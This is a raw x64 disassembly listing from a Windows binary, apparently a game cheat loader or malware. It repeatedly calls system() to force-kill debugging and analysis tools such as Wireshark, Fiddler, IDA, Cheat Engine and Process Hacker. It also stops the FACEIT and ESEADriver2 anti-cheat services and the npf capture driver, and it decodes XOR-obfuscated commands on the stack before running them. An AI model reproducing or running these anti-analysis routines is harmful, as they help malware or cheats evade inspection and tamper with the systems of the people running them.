call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0xcc8e8480
mov dword [rbp + 0x96c], 0x9c9a80d3
mov dword [rbp + 0x970], 0xd2cdc0d1
mov word [rbp + 0x974], Ordinal_200
mov byte [rbp + 0x976], 1
lea rcx, [rbp + 0x958]
call fcn.14005a840
lea rcx, [rbp + 0x958]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_7.3
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140054940
lea rax, [rbp + 0xe58]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xe58]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xe58]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xe58]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x338], xmm0
mov dword [rbp + 0x348], 0x809e84d7
mov dword [rbp + 0x34c], 0xd6d1dccd
mov word [rbp + 0x350], Ordinal_200
mov byte [rbp + 0x352], 1
lea rcx, [rbp + 0x338]
call fcn.14005a930
lea rcx, [rbp + 0x338]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xe78], xmm0
mov dword [rbp + 0xe88], 0xde998f9f
mov dword [rbp + 0xe8c], 0x8581d0cd
mov dword [rbp + 0xe90], 0xcac1d29d
mov dword [rbp + 0xe94], 0x100c7d3
lea rcx, [rbp + 0xe78]
call fcn.14005a900
lea rcx, [rbp + 0xe78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1998], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x19a8], xmm1
mov word [rbp + 0x19b8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x19ba], 1
lea rcx, [rbp + 0x1998]
call fcn.14005a8d0
lea rcx, [rbp + 0x1998]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x19c0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x19d0], xmm1
mov word [rbp + 0x19e0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x19e2], 1
lea rcx, [rbp + 0x19c0]
call fcn.14005a8d0
lea rcx, [rbp + 0x19c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x19e8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x19f8], xmm1
mov word [rbp + 0x1a08], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1a0a], 1
lea rcx, [rbp + 0x19e8]
call fcn.14005a8d0
lea rcx, [rbp + 0x19e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1a10], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1a20], xmm1
mov word [rbp + 0x1a30], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1a32], 1
lea rcx, [rbp + 0x1a10]
call fcn.14005a8d0
lea rcx, [rbp + 0x1a10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x658], xmm0
mov dword [rbp + 0x668], 0x82d5ca82
mov dword [rbp + 0x66c], 0xc2cf8298
mov dword [rbp + 0x670], 0xc2d4cf
mov byte [rbp + 0x674], 1
lea rcx, [rbp + 0x658]
call fcn.14005a8a0
lea rcx, [rbp + 0x658]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x70], xmm0
mov dword [rbp + 0x80], 0xcad5d8c9
mov word [rbp + 0x84], 0xdc
mov byte [rbp + 0x86], 1
lea rcx, [rbp + 0x70]
call fcn.14005a870
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x978], xmm0
mov dword [rbp + 0x988], 0xcc8e8480
mov dword [rbp + 0x98c], 0x9c9a80d3
mov dword [rbp + 0x990], 0xd2cdc0d1
mov word [rbp + 0x994], Ordinal_200
mov byte [rbp + 0x996], 1
lea rcx, [rbp + 0x978]
call fcn.14005a840
lea rcx, [rbp + 0x978]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_7.4
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140054dbf
lea rax, [rbp + 0xe98]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xe98]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xe98]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xe98]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x358], xmm0
mov dword [rbp + 0x368], 0x809e84d7
mov dword [rbp + 0x36c], 0xd6d1dccd
mov word [rbp + 0x370], Ordinal_200
mov byte [rbp + 0x372], 1
lea rcx, [rbp + 0x358]
call fcn.14005a930
lea rcx, [rbp + 0x358]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xeb8], xmm0
mov dword [rbp + 0xec8], 0xde998f9f
mov dword [rbp + 0xecc], 0x8581d0cd
mov dword [rbp + 0xed0], 0xcac1d29d
mov dword [rbp + 0xed4], 0x100c7d3
lea rcx, [rbp + 0xeb8]
call fcn.14005a900
lea rcx, [rbp + 0xeb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1a38], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1a48], xmm1
mov word [rbp + 0x1a58], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1a5a], 1
lea rcx, [rbp + 0x1a38]
call fcn.14005a8d0
lea rcx, [rbp + 0x1a38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1a60], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1a70], xmm1
mov word [rbp + 0x1a80], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1a82], 1
lea rcx, [rbp + 0x1a60]
call fcn.14005a8d0
lea rcx, [rbp + 0x1a60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1a88], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1a98], xmm1
mov word [rbp + 0x1aa8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1aaa], 1
lea rcx, [rbp + 0x1a88]
call fcn.14005a8d0
lea rcx, [rbp + 0x1a88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1ab0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1ac0], xmm1
mov word [rbp + 0x1ad0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1ad2], 1
lea rcx, [rbp + 0x1ab0]
call fcn.14005a8d0
lea rcx, [rbp + 0x1ab0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x678], xmm0
mov dword [rbp + 0x688], 0x82d5ca82
mov dword [rbp + 0x68c], 0xc2cf8298
mov dword [rbp + 0x690], 0xc2d4cf
mov byte [rbp + 0x694], 1
lea rcx, [rbp + 0x678]
call fcn.14005a8a0
lea rcx, [rbp + 0x678]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x88], xmm0
mov dword [rbp + 0x98], 0xcad5d8c9
mov word [rbp + 0x9c], 0xdc
mov byte [rbp + 0x9e], 1
lea rcx, [rbp + 0x88]
call fcn.14005a870
lea rcx, [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x998], xmm0
mov dword [rbp + 0x9a8], 0xcc8e8480
mov dword [rbp + 0x9ac], 0x9c9a80d3
mov dword [rbp + 0x9b0], 0xd2cdc0d1
mov word [rbp + 0x9b4], Ordinal_200
mov byte [rbp + 0x9b6], 1
lea rcx, [rbp + 0x998]
call fcn.14005a840
lea rcx, [rbp + 0x998]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_7.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400551f2
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x378], xmm0
mov dword [rbp + 0x388], 0x809e84d7
mov dword [rbp + 0x38c], 0xd6d1dccd
mov word [rbp + 0x390], Ordinal_200
mov byte [rbp + 0x392], 1
lea rcx, [rbp + 0x378]
call fcn.14005a930
lea rcx, [rbp + 0x378]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xed8], xmm0
mov dword [rbp + 0xee8], 0xde998f9f
mov dword [rbp + 0xeec], 0x8581d0cd
mov dword [rbp + 0xef0], 0xcac1d29d
mov dword [rbp + 0xef4], 0x100c7d3
lea rcx, [rbp + 0xed8]
call fcn.14005a900
lea rcx, [rbp + 0xed8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1ad8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1ae8], xmm1
mov word [rbp + 0x1af8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1afa], 1
lea rcx, [rbp + 0x1ad8]
call fcn.14005a8d0
lea rcx, [rbp + 0x1ad8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1b00], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1b10], xmm1
mov word [rbp + 0x1b20], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1b22], 1
lea rcx, [rbp + 0x1b00]
call fcn.14005a8d0
lea rcx, [rbp + 0x1b00]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1b28], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1b38], xmm1
mov word [rbp + 0x1b48], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1b4a], 1
lea rcx, [rbp + 0x1b28]
call fcn.14005a8d0
lea rcx, [rbp + 0x1b28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1b50], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1b60], xmm1
mov word [rbp + 0x1b70], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1b72], 1
lea rcx, [rbp + 0x1b50]
call fcn.14005a8d0
lea rcx, [rbp + 0x1b50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x698], xmm0
mov dword [rbp + 0x6a8], 0x82d5ca82
mov dword [rbp + 0x6ac], 0xc2cf8298
mov dword [rbp + 0x6b0], 0xc2d4cf
mov byte [rbp + 0x6b4], 1
lea rcx, [rbp + 0x698]
call fcn.14005a8a0
lea rcx, [rbp + 0x698]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0xb0], 0xcad5d8c9
mov word [rbp + 0xb4], 0xdc
mov byte [rbp + 0xb6], 1
lea rcx, [rbp + 0xa0]
call fcn.14005a870
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x9b8], xmm0
mov dword [rbp + 0x9c8], 0xcc8e8480
mov dword [rbp + 0x9cc], 0x9c9a80d3
mov dword [rbp + 0x9d0], 0xd2cdc0d1
mov word [rbp + 0x9d4], Ordinal_200
mov byte [rbp + 0x9d6], 1
lea rcx, [rbp + 0x9b8]
call fcn.14005a840
lea rcx, [rbp + 0x9b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_7.6
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055625
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
